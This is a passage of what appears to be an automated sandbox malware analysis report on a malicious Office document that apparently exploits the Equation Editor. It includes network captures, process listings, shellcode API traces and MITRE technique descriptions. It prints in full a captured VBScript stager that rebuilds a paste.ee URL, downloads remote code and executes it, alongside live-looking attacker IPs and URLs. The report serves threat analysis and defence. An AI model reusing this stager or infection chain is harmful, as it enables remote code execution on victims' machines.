Feb 15, 2024 14:19:09.599127054 CET	615	IN	HTTP/1.1 405 Method Not Allowed Date: Thu, 15 Feb 2024 13:19:09 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Allow: OPTIONS,HEAD,GET,POST,TRACE Content-Length: 330 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 50 52 4f 50 46 49 4e 44 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 31 2e 32 35 20 53 65 72 76 65 72 20 61 74 20 31 30 37 2e 31 37 35 2e 32 30 32 2e 31 35 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method PROPFIND is not allowed for this URL.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Server at 107.175.202.154 Port 80</address></body></html>
Feb 15, 2024 14:19:09.605843067 CET	162	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: 107.175.202.154
Feb 15, 2024 14:19:09.741621017 CET	300	IN	HTTP/1.1 302 Found Date: Thu, 15 Feb 2024 13:19:09 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Location: http://107.175.202.154/dashboard/ Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Feb 15, 2024 14:19:09.743010044 CET	172	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 64 61 73 68 62 6f 61 72 64 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 Data Ascii: PROPFIND /dashboard/ HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: 107.175.202.154
Feb 15, 2024 14:19:09.883886099 CET	615	IN	HTTP/1.1 405 Method Not Allowed Date: Thu, 15 Feb 2024 13:19:09 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Allow: OPTIONS,HEAD,GET,POST,TRACE Content-Length: 330 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 50 52 4f 50 46 49 4e 44 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 31 2e 32 35 20 53 65 72 76 65 72 20 61 74 20 31 30 37 2e 31 37 35 2e 32 30 32 2e 31 35 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method PROPFIND is not allowed for this URL.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Server at 107.175.202.154 Port 80</address></body></html>
Feb 15, 2024 14:19:10.192723989 CET	615	IN	HTTP/1.1 405 Method Not Allowed Date: Thu, 15 Feb 2024 13:19:09 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Allow: OPTIONS,HEAD,GET,POST,TRACE Content-Length: 330 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 50 52 4f 50 46 49 4e 44 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 31 2e 32 35 20 53 65 72 76 65 72 20 61 74 20 31 30 37 2e 31 37 35 2e 32 30 32 2e 31 35 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method PROPFIND is not allowed for this URL.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Server at 107.175.202.154 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49167	107.175.202.154	80	1596	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
Feb 15, 2024 14:19:04.521739960 CET	259	OUT	HEAD /rmc/beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto.doC HTTP/1.1 User-Agent: Microsoft Office Existence Discovery Host: 107.175.202.154 Content-Length: 0 Connection: Keep-Alive
Feb 15, 2024 14:19:04.658142090 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 15 Feb 2024 13:19:04 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Thu, 15 Feb 2024 01:10:30 GMT ETag: "ff9f-611614b29bc79" Accept-Ranges: bytes Content-Length: 65439 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/msword

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49168	107.175.202.154	80	3372	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
Feb 15, 2024 14:19:05.846790075 CET	323	OUT	GET /46900/loveforsave.vbs HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 107.175.202.154 Connection: Keep-Alive
Feb 15, 2024 14:19:05.984318972 CET	888	IN	HTTP/1.1 200 OK Date: Thu, 15 Feb 2024 13:19:05 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Thu, 15 Feb 2024 01:07:34 GMT ETag: "25c-6116140a73eab" Accept-Ranges: bytes Content-Length: 604 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: ff fe 53 00 65 00 74 00 20 00 72 00 65 00 63 00 74 00 69 00 74 00 75 00 64 00 65 00 20 00 3d 00 20 00 43 00 72 00 65 00 61 00 74 00 65 00 4f 00 62 00 6a 00 65 00 63 00 74 00 28 00 22 00 57 00 69 00 6e 00 48 00 74 00 74 00 70 00 2e 00 57 00 69 00 6e 00 48 00 74 00 74 00 70 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 2e 00 35 00 2e 00 31 00 22 00 29 00 0d 00 0a 00 6f 00 6c 00 69 00 67 00 6f 00 74 00 72 00 6f 00 70 00 68 00 69 00 61 00 20 00 3d 00 20 00 53 00 74 00 72 00 72 00 65 00 76 00 65 00 72 00 73 00 65 00 28 00 22 00 6d 00 58 00 47 00 6e 00 65 00 2f 00 64 00 2f 00 65 00 65 00 2e 00 65 00 74 00 73 00 61 00 70 00 2f 00 2f 00 3a 00 70 00 74 00 74 00 68 00 22 00 29 00 0d 00 0a 00 72 00 65 00 63 00 74 00 69 00 74 00 75 00 64 00 65 00 2e 00 4f 00 70 00 65 00 6e 00 20 00 22 00 47 00 45 00 54 00 22 00 2c 00 6f 00 6c 00 69 00 67 00 6f 00 74 00 72 00 6f 00 70 00 68 00 69 00 61 00 2c 00 20 00 46 00 61 00 6c 00 73 00 65 00 0d 00 0a 00 72 00 65 00 63 00 74 00 69 00 74 00 75 00 64 00 65 00 2e 00 53 00 65 00 6e 00 64 00 0d 00 0a 00 61 00 7a 00 65 00 69 00 74 00 61 00 64 00 6f 00 20 00 3d 00 20 00 72 00 65 00 63 00 74 00 69 00 74 00 75 00 64 00 65 00 2e 00 52 00 65 00 73 00 70 00 6f 00 6e 00 73 00 65 00 54 00 65 00 78 00 74 00 0d 00 0a 00 66 00 69 00 64 00 61 00 6c 00 67 00 75 00 65 00 74 00 65 00 20 00 61 00 7a 00 65 00 69 00 74 00 61 00 64 00 6f 00 0d 00 0a 00 46 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 20 00 66 00 69 00 64 00 61 00 6c 00 67 00 75 00 65 00 74 00 65 00 28 00 61 00 6d 00 65 00 64 00 72 00 6f 00 6e 00 74 00 61 00 64 00 6f 00 29 00 0d 00 0a 00 45 00 78 00 65 00 63 00 75 00 74 00 65 00 47 00 6c 00 6f 00 62 00 61 00 6c 00 20 00 61 00 6d 00 65 00 64 00 72 00 6f 00 6e 00 74 00 61 00 64 00 6f 00 0d 00 0a 00 45 00 6e 00 64 00 20 00 46 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 Data Ascii: Set rectitude = CreateObject("WinHttp.WinHttpRequest.5.1")oligotrophia = Strreverse("mXGne/d/ee.etsap//:ptth")rectitude.Open "GET",oligotrophia, Falserectitude.Sendazeitado = rectitude.ResponseTextfidalguete azeitadoFunction fidalguete(amedrontado)ExecuteGlobal amedrontadoEnd Function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49169	104.21.84.67	80	3440	C:\Windows\SysWOW64\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Feb 15, 2024 14:19:06.825103045 CET	149	OUT	GET /d/enGXm HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: paste.ee

Target ID:	0
Start time:	14:18:35
Start date:	15/02/2024
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f0a0000
File size:	28'253'536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	14:18:57
Start date:	15/02/2024
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
Imagebase:	0x13fe80000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	14:19:04
Start date:	15/02/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:19:05
Start date:	15/02/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\loveforsave.vbs"
Imagebase:	0x130000
File size:	141'824 bytes
MD5 hash:	979D74799EA6C8B8167869A68DF5204A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:19:14
Start date:	15/02/2024
Path:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" -Embedding
Imagebase:	0x1060000
File size:	2'525'680 bytes
MD5 hash:	2F8D93826B8CBF9290BC57535C7A6817
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	14:19:31
Start date:	15/02/2024
Path:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
Imagebase:	0x8c0000
File size:	9'805'808 bytes
MD5 hash:	326A645391A97C760B60C558A35BB068
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

VBA Code

Call Graph

Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: Sheet1

Declaration

Line	Content
1	Attribute VB_Name = "Sheet1"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet2

Declaration

Line	Content
1	Attribute VB_Name = "Sheet2"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet3

Declaration

Line	Content
1	Attribute VB_Name = "Sheet3"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: ThisWorkbook

Declaration

Line	Content
1	Attribute VB_Name = "ThisWorkbook"
2	Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Reset < >

Analysis Process: EQNEDT32.EXEPID: 3372, Parent PID: 564COMMON

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	33.3%
Total number of Nodes:	78
Total number of Limit Nodes:	4

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 034205EC Relevance: 4.5, APIs: 3, Instructions: 37
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON(00000000,03420592,?,00000000,00000000), ref: 034205EE

Part of subcall function 03420605: ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 0342062C
Part of subcall function 03420605: ExitProcess.KERNEL32(00000000), ref: 03420644

Memory Dump Source

Source File: 0000000A.00000002.431072220.0000000003420000.00000004.00000020.00020000.00000000.sdmp, Offset: 03420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3420000_EQNEDT32.jbxd

Similarity

API ID: DownloadExecuteExitFileProcessShell
String ID:
API String ID: 3584569557-0
Opcode ID: 2ac2e785a5df96b5b1d2b6d05b07d367621e1ab0833f3c674eb7a3d1e14328db
Instruction ID: 915a9428799c1fb63a8da4307624a301d13c9826155d32684ae8f6404803613a
Opcode Fuzzy Hash: 2ac2e785a5df96b5b1d2b6d05b07d367621e1ab0833f3c674eb7a3d1e14328db
Instruction Fuzzy Hash: FEF0E25068C3543DF611E7740C5EF6AAED4AFC1B00FD5088BB1816E5F2D8948404862D

Uniqueness

Uniqueness Score: -1.00%

Function 0342061A Relevance: 3.0, APIs: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 0342062C

Part of subcall function 0342063F: ExitProcess.KERNEL32(00000000), ref: 03420644

Memory Dump Source

Source File: 0000000A.00000002.431072220.0000000003420000.00000004.00000020.00020000.00000000.sdmp, Offset: 03420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3420000_EQNEDT32.jbxd

Similarity

API ID: ExecuteExitProcessShell
String ID:
API String ID: 1124553745-0
Opcode ID: 9bb4a9efaea7c07eca078e7354966bed14a700fa2dbfda34c55d40211f488600
Instruction ID: 6e227183bb245bc14223a3a4c3f71a1f13bb1e676308ac0124e5d1cc1da86120
Opcode Fuzzy Hash: 9bb4a9efaea7c07eca078e7354966bed14a700fa2dbfda34c55d40211f488600
Instruction Fuzzy Hash: 03014999A4433269EB30F7284C157BBAED1ABC1710FDC8847E8D03C6B4D59480D38A2D

Uniqueness

Uniqueness Score: -1.00%

Function 03420605 Relevance: 3.0, APIs: 2, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.431072220.0000000003420000.00000004.00000020.00020000.00000000.sdmp, Offset: 03420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3420000_EQNEDT32.jbxd

Similarity

API ID: ExecuteExitProcessShell
String ID:
API String ID: 1124553745-0
Opcode ID: 86e204669779fcf6b1d289fc5e1d83ca539377395524096db536a032bfc48ab3
Instruction ID: 14388f94dfc7aa4f58d2da681a6632a08d925d6d2250770af714df1494c5f69c
Opcode Fuzzy Hash: 86e204669779fcf6b1d289fc5e1d83ca539377395524096db536a032bfc48ab3
Instruction Fuzzy Hash: E401F42464832539E760F7344C89BAEEEC5ABC1B14FE8845BE5D03D6B5D2948493862D

Uniqueness

Uniqueness Score: -1.00%

Function 03420567 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(03420559), ref: 03420567

Memory Dump Source

Source File: 0000000A.00000002.431072220.0000000003420000.00000004.00000020.00020000.00000000.sdmp, Offset: 03420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3420000_EQNEDT32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 592012143d979ab65a2c8a5b5fdbac556e8444b02a8220edd2cdf15e9d60c012
Instruction ID: ab521a0a537b024451dd575ddafec0ae6fd9c81e4f14d46701bf81ee57762ab1
Opcode Fuzzy Hash: 592012143d979ab65a2c8a5b5fdbac556e8444b02a8220edd2cdf15e9d60c012
Instruction Fuzzy Hash: E211D3E280D7C21FCB1393304D7A615BFA42E2710479D89CFD0C31A9E3E6985142C79B

Uniqueness

Uniqueness Score: -1.00%

Function 0342063F Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 03420644

Memory Dump Source

Source File: 0000000A.00000002.431072220.0000000003420000.00000004.00000020.00020000.00000000.sdmp, Offset: 03420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3420000_EQNEDT32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
Instruction ID: f49c04242a7a61e974833cf8218924656bc711991e28e6f13ed51e74029fe7d2
Opcode Fuzzy Hash: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03420646 Relevance: .0, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.431072220.0000000003420000.00000004.00000020.00020000.00000000.sdmp, Offset: 03420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3420000_EQNEDT32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
Instruction ID: 1d1c841baf5eb62e834c8a383402aee067b2d579450650b0781bb546033e2be7
Opcode Fuzzy Hash: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
Instruction Fuzzy Hash: F1D052712025028FC304DF04C980E57F7AAFFE8610B68C2A9E0044FB29D730EC92CA98

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 034204B0 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(0342049E), ref: 034204B0

Memory Dump Source

Source File: 0000000A.00000002.431072220.0000000003420000.00000004.00000020.00020000.00000000.sdmp, Offset: 03420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3420000_EQNEDT32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 28fb60afe95d18044b3f11dfeb42f349f7a4f1e9a7602fdfb211e6ba362ed2d4
Instruction ID: 8ef5f77ae7ed6b4b6401a2562a696f23730b83db3c1f7fbe36d28800037e9e5b
Opcode Fuzzy Hash: 28fb60afe95d18044b3f11dfeb42f349f7a4f1e9a7602fdfb211e6ba362ed2d4
Instruction Fuzzy Hash: 381122E680D7E04FC392D7741A6A05AFEE07E130007CC86DFC0952E2A3E644C682C38E

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
